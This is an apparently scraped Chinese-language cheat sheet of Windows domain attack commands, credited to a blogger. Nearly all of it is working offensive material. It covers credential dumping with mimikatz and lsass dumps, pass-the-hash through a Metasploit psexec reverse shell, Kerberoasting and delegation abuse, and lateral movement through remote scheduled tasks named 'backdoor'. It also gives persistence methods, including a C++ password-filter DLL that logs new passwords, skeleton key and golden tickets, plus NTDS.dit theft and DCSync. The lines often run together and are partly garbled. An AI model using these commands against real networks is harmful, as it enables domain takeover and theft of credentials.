reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

meterpreter>load mimikatzmeterpreter>mimikatz_command -f mimikatz的指令privilege::debug 提权  samdump::hashes dump哈希  或者meterpreter>msv/kerberos/widgst

meterpreter>hashdumpmeterpreter>run windows/gather/smart_hashdump   (推荐使用这个)

procdump64.exe -accepteula -ma lsass.exe lsass.dmp  执行该指令，获取到lsass.dmp然后将其传回本地通过mimikatz.exe分别执行以下命令"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

beacon>hashdumpbeacon>mimikatz mimikatz指令

privilege::debugtoken::elevatelsadump::sam

reg save HKLM\SYSTEM SYSTEMreg save HKLM\SAM SAM在远端shell使用以上命令导出SYSTEM 和 SAM文件，并将其待会本地，由mimikatz分析mimikatz运行mimikatz # lsadump::sam /sam:SAM /system:SYSTEMDomain : STU1SysKey : fd4639f4e27c79683ae9fee56b44393fLocal SID : S-1-5-21-1982601180-2087634876-2293013296
SAMKey : 099d1915db1b0e5cf41f1f0908dc7e17
RID  : 000001f4 (500)User : Administrator  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
RID  : 000001f5 (501)User : Guest
RID  : 000003e8 (1000)User : liukaifeng01  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

msf5 exploit(multi/handler) > use exploit/windows/smb/psexec  //以root启动msf[*] No payload configured, defaulting to windows/meterpreter/reverse_tcpmsf5 exploit(windows/smb/psexec) > set lhsot 192.168.64.133lhsot => 192.168.64.133msf5 exploit(windows/smb/psexec) > set lhost 192.168.64.133lhost => 192.168.64.133msf5 exploit(windows/smb/psexec) > set lport 443lport => 443msf5 exploit(windows/smb/psexec) > set rhost 192.168.52.138rhost => 192.168.52.138msf5 exploit(windows/smb/psexec) > set SMBUser AdministratorSMBUser => Administratormsf5 exploit(windows/smb/psexec) > set SMBPass 8a963371a63944419ec1adf687bb1be5  //一般选择NTLM HASHSMBPass => 8a963371a63944419ec1adf687bb1be5msf5 exploit(windows/smb/psexec) > run

sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc  //自行修改

net use \\192.168.222.131\c$

typedef struct _KERB_VALIDATION_INFO {FILETIME LogonTime;FILETIME LogoffTime;FILETIME KickOffTime;FILETIME PasswordLastSet;FILETIME PasswordCanChange;FILETIME PasswordMustChange;RPC_UNICODE_STRING EffectiveName;RPC_UNICODE_STRING FullName;RPC_UNICODE_STRING LogonScript;RPC_UNICODE_STRING ProfilePath;RPC_UNICODE_STRING HomeDirectory;RPC_UNICODE_STRING HomeDirectoryDrive;USHORT LogonCount;USHORT BadPasswordCount;ULONG UserId; //用户的sidULONG PrimaryGroupId;ULONG GroupCount;[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;//用户所在的组，如果我们可以篡改的这个的话，添加一个500(域管组)，那用户就是域管了。在ms14068 PAC签名被绕过，用户可以自己制作PAC的情况底下，pykek就是靠向这个地方写进域管组，成为使得改用户变成域管ULONG UserFlags;USER_SESSION_KEY UserSessionKey;RPC_UNICODE_STRING LogonServer;RPC_UNICODE_STRING LogonDomainName;PISID LogonDomainId;ULONG Reserved1[2];ULONG UserAccountControl;ULONG SubAuthStatus;FILETIME LastSuccessfulILogon;FILETIME LastFailedILogon;ULONG FailedILogonCount;ULONG Reserved3;ULONG SidCount;[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;PISID ResourceGroupDomainSid;ULONG ResourceGroupCount;[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;} KERB_VALIDATION_INFO;

setspn -q */*

Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"

Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

hashcat -m 13110 pass.txt hash.txt

python3 tgsrepcrack.py pass.txt xxx.kribi

python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512## 将票据权限改为administratorkerberos::ptt PENTESTLAB.kirbi  #将票据注入到内存

Rubeus.exe asreproast

Import-Module .\powerview.ps1 Get-DomainUser -PreauthNotRequired

Import-Module ASREPRoast.ps1Get-ASREPHash -USER xx -Domain xx |Out-file -Encoding ASCII hash.txt

hashcat -m 18200 hash.txt pass.txt

tgt::ask /user:xx /domain:xx /password:xx /ticket:test.kirbi这里的/password可以改成/NTLM:xx获得TGT转发票据
tgs::s4u /tgt:file_name /user:administrator /service:cifs/DCtgt处改为刚刚得到的TGT文件的名字，这个命令执行后得到administrator身份的 ST2

Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  #这儿的sid是我们创建的#机器用户#evilsystem的sid$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Rubeus.exe hash /user:xxx /password:xxx /domain:xxx

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

tsssp::server 开启服务端tsssp::client /target:...   开启客户端，这里的target随便填

客户端从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID则先将其本地解析为CLSID。远程计算机检查是否存在由该CLSID所关联的AppID，并验证客户端的权限。DCOMLaunch服务将创建所请求的类的实例，通常是通过运行LocalServer32子项的可执行文件，或者通过创建DllHost进程来承载InProcServer32子项引用的dll。客户端应用程序和服务器进程间建立通信，客户端便可以访问新创建的对象。

ExecuteShellCommand（[命令][目录][叁数][窗口状态]）命令一个值，指定要执行的命令。可以指定标准路径。Command中包含的所有环境变量（例如“％windir％”）都将被扩展。
目录一个值，用于指定工作目录的名称。Directory中包含的所有环境变量都将被扩展。如果“目录”为空字符串，则将当前目录用作工作目录。
参数一个指定Command要使用的参数（如果有）的值；参数必须用空格分隔。例如，将参数指定为“ Param1 Param2”会导致Command接收Param1和Param2作为参数。如果要求单个参数用双引号引起来，请使用适合您的编程语言的技术。例如，在Microsoft Visual Basic中，将参数指定为“ Param1”“这是Param2”“”导致命令接收到参数1和“这是Param2”。
窗口状态一个指定窗口状态的值。该值可以是以下字符串值之一，也可以是空字符串。如果为空字符串，则默认为“已恢复”。
“Maximized”该命令在最大化的窗口中执行。
“Minimized”该命令在最小化的窗口中执行。
“Restored”该命令在已恢复或正常的窗口中执行。注意：这里会弹个黑框框
返回值此方法不返回值。

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ，“远程ip”)).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

net use \\ip\ipc$ "password" /user:username

dir \\192.168.183.130\c$ 列出C盘copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$ 上传文件tasklist /S 192.168.183.130 /U administrator /P liu78963 列出某IP上的进程信息，/U指定哪个用户执行该命令，/p指定该用户密码net use \\IP /del /y 删除链接net use 查看已建立的ipc链接

at \\192.168.183.130 17:05:00 cmd.exe /c "<命令>"at \\192.168.183.130 17:05:00 powershell.exe -c "<命令>"

at \\192.168.183.130 1 /delete  //1为任务的ID

在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次，启动程序为我们之前到C盘下的shell.exe，启动权限为system。schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1  /tr c:\shell.exe /ru system /f 
但也有些时候，由于当前权限或组策略设置等原因，该schtasks方法远程创建计划任务可能会报错拒绝访问,遇到这种情况，我们可以加上/u和/p参数分别设置高权限用户名和密码 schtasks /create /s 192.168.183.130 /u username /p password /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
另外，在我们创建好计划任务后，可以通过下列指令立即让计划任务执行（如果拒绝访问的话就加上/u /p参数）schtasks /run /s 192.168.183.130 /i /tn backdoor  // i：忽略任何限制立即运行任务
计划任务执行后需要清理痕迹schtasks /delete /s 192.168.183.130 /tn "backdoor" /f

sc \\[主机名/IP] create [servicename] binpath= "[path]"   #创建服务，其中binpath可以是某个exe文件的路径，也可以是一段指令。当为路径时，服务启动时会自动执行该exe文件，当为指令时，服务启动时会自动执行该指令sc \\[host] start [servicename] 启动某个服务sc \\[host] delete [servicename]   #删除服务

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "command"

Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:[email protected]#$% whoami

winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:[email protected]#$% whoami

strComputer = "."Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")objUser.SetPassword "[email protected]#"objUser.SetInfo

[email protected]#

for /r \\dc/sysvol %i in (*.vbs) do @echo %ifor /r \\dc/sysvol %i in (*.bat) do @echo %i

Import-Module .\Invoke-ReflectivePEInjection.ps1Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

secedit /export /cfg gp.inf /quiet   将组策略导出为文件在该文件里将PasswordComplexity项值修改为1然后用secedit /configure /db gp.sdb /cfg gp.inf /quiet 将其导入数据库刷新组策略：gpupdate/force重启后生效

#include<Windows.h>#include<NTSecAPI.h>#include <fstream>
extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify() {  OutputDebugString(L"InitializeChangeNotify");  return TRUE;}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(  PUNICODE_STRING AccountName,  PUNICODE_STRING FullName,  PUNICODE_STRING Password,  BOOLEAN SetOperation){  OutputDebugString(L"PasswordFilter");  return TRUE;}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordChangeNotify(  PUNICODE_STRING UserName,  ULONG RelativeId,  PUNICODE_STRING NewPassword){  FILE *pFile;  fopen_s(&pFile, "C:\\logFile.txt", "a+");  fprintf(pFile, "%ws:%ws", UserName->Buffer, NewPassword->Buffer);  return 0;}

REG ADD "HKLMSYSTEMCurrentControlSetControlLsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f

mimikatz# privilege::debugmimikatz# misc::skeleton

mimikatz# privilege::debugmimiaktz# misc::memssp

privilege::debugsid::patchsid::add /sam:const27 /new:administrator 将administrator的SID添加到const27的sid history属性

Import-Module activedirectoryGet-ADUser const27 -Properties sidhistory

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

#提权privilege::debug
#生成黄金票据并导入kerberos::golden /user:administrator /domain:const.com /sid:当前用户sid去掉最后一个数据 /krbtgt:krbtgt的hash /ptt

Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=CONST,DC=COM" -PrincipalIdentity xx -Verbose -Rights ALL给AdminSDHoloder添加一条ACL,让xx用户获得完全控制权

vssadmin create shadow /for=c:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit

vssadmin delete shadows /for=c: /quiet

ntdsutil snapshot "activate instance ntds" create quit quit

ntdsutil snapshot "mount {bdccff3c-810c-4f78-9d80-c6729910e83a}" quit quit

copy c:\$SNAP_202107291703_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit

ntdsutil snapshot "mount {bdccff3c-810c-4f78-9d80-c6729910e83a}" "delete {bdccff3c-810c-4f78-9d80-c6729910e83a}" quit quit

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

python .\secretsdump.py -system .\system.hive -ntds .\ntds.dit local

python .\secretsdump.py -system .\system.hive -ntds .\ntds.dit local

#给域用户hack添加以上三条ACEAdd-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
#给域用户hack删除以上三条ACERemove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose

Import-Module .\Invoke-DCSync.ps1Invoke-DCSync -DumpForest | ft -wrap -autosize    // 导出域内所有用户的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize      // 导出域内administrator账户的hash

原创作者：ConsT27作者博客：www.const27.com